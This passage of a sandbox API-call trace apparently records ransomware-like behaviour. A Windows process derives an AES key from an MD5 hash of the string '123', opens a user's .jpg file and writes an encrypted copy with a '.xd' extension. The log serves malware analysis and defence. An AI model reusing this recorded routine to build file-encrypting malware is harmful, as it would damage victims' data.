lpMsg=0x130f164) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.192] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.192] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.192] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.192] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.192] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.192] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.193] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.193] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.193] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.193] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.193] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.193] CryptCreateHash (in: hProv=0x16323a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.193] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.194] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.194] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.194] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.194] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.194] CryptHashData (hHash=0x164c870, pbData=0x1629430, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.194] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.194] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.194] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.194] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.194] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.195] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.195] CryptDeriveKey (in: hProv=0x16323a8, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.195] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.195] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.195] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.195] CryptDestroyHash (hHash=0x164c870) returned 1 [0079.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.195] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.195] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\3o-75msbc7f.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.196] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.196] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.196] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.197] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\3o-75msbc7f.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.199] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.199] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7b87, lpOverlapped=0x0) returned 1 [0079.200] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.315] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.315] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.315] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.315] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.315] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.315] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.347] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.347] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.348] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.348] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.348] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.348] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.348] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.348] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.348] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.348] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.349] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.349] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.349] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.349] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.349] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.350] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.350] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x7b87, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x7b90) returned 1 [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] CharLowerBuffW (in: lpsz="byte[31633]", cchLength=0xb | out: lpsz="byte[31633]") returned 0xb [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.350] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.350] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.351] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.351] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f0240*, pdwDataLen=0x130e618*=0x7b87, dwBufLen=0x7b90 | out: pbData=0x17f0240*, pdwDataLen=0x130e618*=0x7b90) returned 1 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 